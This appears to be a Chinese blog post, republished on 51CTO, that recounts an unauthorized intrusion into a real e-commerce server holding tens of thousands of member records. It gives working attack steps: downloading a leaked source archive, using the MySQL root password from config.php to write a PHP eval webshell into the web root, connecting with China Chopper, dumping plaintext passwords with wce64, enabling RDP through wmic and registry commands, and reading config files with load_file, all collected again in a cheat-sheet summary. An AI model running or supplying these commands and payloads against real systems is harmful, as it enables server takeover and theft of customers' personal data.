源代码泄露获取某电子商务网站服务器权限

简介:

源代码泄露获取某电子商务网站服务器权限

simeon

   渗透本次目标事发偶然,通过shadon对“phpMyAdmin”关键字进行检索时,加入“indexOf”关键字后,会出现所有存在列目录漏洞的网站,该网站为电子商务网站,网站保留有数万会员真实信息,下面将整过渗透过程进行分享。

1.发现目标

   通过shadon搜索引擎对搜索记录逐个打开,发现某目标站点存在文件目录泄露漏洞:

http://203.***.**.227/

http://203.***.**.227/www.********.hk.rar

http://203.***.**.227/phpMyAdmin/

http://203.***.**.227/news********hk/

  目录还有phpinfo.php文件,看到phpMyAdminphpinfo.php同时存在,感觉服务器权限已经不远了,如图1所示,有网站源代码打包文件,将其下载到本地。

wKiom1kjfPOR450eAABKYsKiXOI278.jpg-wh_50

1文件泄露

2.查看源代码打包文件

   整个源代码压缩包2.37 GB,真大!通过搜索和查看,确定数据库配置文件为config.php

如图2所示,将其解压到本地,使用notepad进行查看,果然其中包含了数据库配置信息,而且还是root帐号,密码虽然算弱口令,但也是弱口令中的强口令。

wKiom1kjfP3DKpWLAACXtzpa2hw187.jpg-wh_50

2寻找数据库配置文件

wKioL1kjfQTzBmpbAAF-BixncK0200.jpg-wh_50

3获取数据库root帐号和密码

3.寻找网站物理路径

   通过phpinfo.php文件查看,在浏览器中可以使用Ctrl+F快捷键搜索关键字“SCRIPT_FILENAME”获取其真实物理路径地址,_SERVER["SCRIPT_FILENAME"]      D:/WWW/phpinfo.php,如图4所示。

wKiom1kjfQyRQkj8AAEIA1Gvtr0270.jpg-wh_50

4获取网站物理路劲

4.Mysql直接导出Webshell

   通过获取的root帐号和密码登录http://203.***.**.227/phpMyAdmin/,成功登录,如图5所示,选择SQL查询,在其中查询select'<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'导出一句话后门。

wKioL1kjfRTjC_AfAAEwngtDaEo541.jpg-wh_50

5登录mysql数据库

wKioL1kjfRvhvxyiAAC_b13mITE691.jpg-wh_50

6查询导出一句话后门

6.获取webshell

 在浏览器中对http://203.***.**.227地址刷新即可获取一句话后门文件地址:http://203.***.**.227/p.php,在浏览器中打开进行访问,一切正常。使用中国菜刀一句话后门管理软件,shell添加并打开,如图7所示,顺利获取webshell

wKiom1kjfSPQM3djAACUPPLgBBQ786.jpg-wh_50

7获取webshell

7.服务器提权

    目测该系统php运行权限为系统权限,上传wce64.exe,然后在终端管理中输入“wce64-w”命令成功获取管理员帐号密码,如图8所示。

wKiom1kjfSyzumVKAAAZPFqRSLM895.jpg-wh_50

8获取管理员密码

8.获取3389端口

   在终端管理器中执行netstat -an|find "3389",无结果显示,估计管理员修改了默认端口,使用tasklist /svc命令获取进程名称和服务,找到termservice所对应的进程号,可以直接使用命令 tasklist /svc | find"termService"来获取对应的PID号,如图9所示,在本例中对应的ID号是1340wKioL1kjfX6QhUxoAAChLTKWIoo193.jpg-wh_50

9获取远程终端服务对应的PID

  然后使用“netstat -ano”命令寻找1340对应的端口号,如图10所示,对应的TCP端口为7755端口,也可以使用命令netstat-ano | find '1340'命令直接显示。

10获取终端服务对应的端口

9.登录远程终端

   在命令提示符下输入mstsc.exe,打开远程终端登陆器,在3389远程桌面登录中的地址中输入“203.***.**.227:7755”,然后使用获取的管理员密码成功登录系统,如图11所示。

wKiom1kjfTqQEusAAAEH3U3WqTU166.jpg-wh_50

11成功登录系统

10.域名反查

   打开http://www.yougetsignal.com/tools/web-sites-on-web-server/网站对IP地址203.***.**.227进行域名反查,如图12所示,该IP下存在网站,打开该网站,该网站为一个电子商务网站,在该网站中存在数万会员资料,如图13所示。

wKioL1kjfWfxGR4SAABbibuxQzQ167.jpg-wh_50

12域名反查

wKiom1kjfV-DtKDmAAHNI9ms5-0299.jpg-wh_50

13存在1万多条会员信息

11.渗透总结与思考

  对存在phpMyAdmin的站点,通过代码泄露等方法来获取数据库的密码,然后通过读取文件或者导出文件来获取webshell

13389端口命令行下获取总结

netstat-an |find "3389"  查看3389端口是否开放

tasklist/svc | find "TermService" 获取对应TermServicePID

netstat-ano | find '1340'  查看上面获取的PID号对应的TCP端口号

2Windows2008Server命令行开启3389

wmic/namespace:\\root\cimv2\terminalservices path win32_terminalservicesettingwhere (__CLASS != "") call setallowtsconnections 1

 wmic /namespace:\\root\cimv2\terminalservicespath win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') callsetuserauthenticationrequired 1

 reg add"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

3wce64 -w 命令直接获取系统明文登录密码

4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径

5phpmyadmin一句话后门导出

select'<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'

6phpstudy敏感配置文件

selectload_file(' D:\phpStudy\Lighttpd\conf\vhosts.conf ');

select load_file('D:\phpStudy\Lighttpd\conf\ lighttpd.conf ');

selectload_file(' D:\phpStudy\Apache\conf\vhosts.conf');

selectload_file(' D:\phpStudy\Apache\conf\httpd.conf');

selectload_file('c:\boot.ini');

selectload_file('c:\boot.ini');

selectload_file(' D:\phpStudy\MySQL\my.ini');



 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1928416

相关文章
|
5月前
如何在服务器发布网站
如何在服务器发布网站
47 0
|
5月前
|
网络协议 Shell 网络安全
实验目的1.编译安装httpd2.优化路径3.并将鲜花网站上传到web服务器为网页目录4.在客户机访问网站http://www.bdqn.com
实验目的1.编译安装httpd2.优化路径3.并将鲜花网站上传到web服务器为网页目录4.在客户机访问网站http://www.bdqn.com
211 0
|
5月前
|
数据采集 中间件 Python
Scrapy爬虫:利用代理服务器爬取热门网站数据
Scrapy爬虫:利用代理服务器爬取热门网站数据
|
2天前
|
存储 Linux
服务器数据恢复—Linux操作系统网站服务器数据恢复案例
服务器数据恢复环境: 一台linux操作系统网站服务器,该服务器上部署了几十个网站,使用一块SATA硬盘。 服务器故障&原因: 服务器在工作过程中突然宕机。管理员尝试重新启动服务器失败,于是将服务器上的硬盘拆下检测,发现很多坏扇区。联系当地的一家数据恢复公司处理,但是没有成功。
|
29天前
|
存储 数据挖掘 Linux
服务器数据恢复—Linux操作系统网站服务器数据恢复案例
服务器数据恢复环境: 一台linux操作系统服务器上跑了几十个网站,服务器上只有一块SATA硬盘。 服务器故障: 服务器突然宕机,尝试再次启动失败。将硬盘拆下检测,发现存在坏扇区
|
2月前
|
安全 C#
【Azure 应用服务】在安全漏洞扫描中发现有泄露服务器IIS版本的情况,如何实现屏蔽服务版本号信息呢?
【Azure 应用服务】在安全漏洞扫描中发现有泄露服务器IIS版本的情况,如何实现屏蔽服务版本号信息呢?
|
5月前
|
弹性计算 分布式计算 分布式数据库
ECS网络问题之访问网站失败如何解决
ECS(Elastic Compute Service,弹性计算服务)是云计算服务提供商提供的一种基础云服务,允许用户在云端获取和配置虚拟服务器。以下是ECS服务使用中的一些常见问题及其解答的合集:
|
2月前
|
前端开发 安全 Java
在Java服务器端开发的浩瀚宇宙中,Servlet与JSP犹如两颗璀璨的明星,它们联袂登场,共同编织出动态网站的绚丽篇章。
在Java服务器端开发的浩瀚宇宙中,Servlet与JSP犹如两颗璀璨的明星,它们联袂登场,共同编织出动态网站的绚丽篇章。
19 0
|
3月前
|
关系型数据库 Linux 数据库
如何在Linux云服务器上通过Docker Compose部署安装Halo,搭建个人博客网站?
本文指导用户如何在Linux服务器上使用Docker Compose部署Halo博客系统。首先确保拥有Linux服务器并安装Docker及Docker Compose。接着创建文件夹(例如`~/halo`),用于存放所有Halo相关数据。可以选择不同的Halo Docker镜像源,推荐使用具体版本而非`latest`标签以避免误操作。示例中提供了三种`docker-compose.yaml`配置方法:Halo+PostgreSQL、Halo+MySQL以及使用默认的H2数据库。每种配置都包括网络设置、健康检查和环境变量。
119 1
|
5月前
|
弹性计算 安全 Ubuntu
从零开始搭建WebGIS网站(一)-云服务器准备
WebGIS网站系列连载第一篇,记录一下阿里云服务器的准备环节。
208 56